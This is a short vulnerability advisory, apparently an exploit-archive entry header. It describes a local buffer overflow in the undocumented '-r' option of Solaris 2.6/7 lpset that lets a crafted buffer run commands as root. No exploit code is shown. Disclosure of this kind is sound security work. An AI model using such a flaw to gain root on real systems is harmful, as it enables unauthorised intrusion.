Solaris 2.6/7.0 - 'lpset -r' Local Buffer Overflow (2)

// source: https://www.securityfocus.com/bid/1138/info

A vulnerability exists in the handling of the -r option to the lpset program, as included in Solaris 7 from Sun Microsystems. The -r option is undocumented. As such, its use in unknown. However, when supplied a well crafted buffer containing executable code, it is possible to execute arbitrary commands as root.
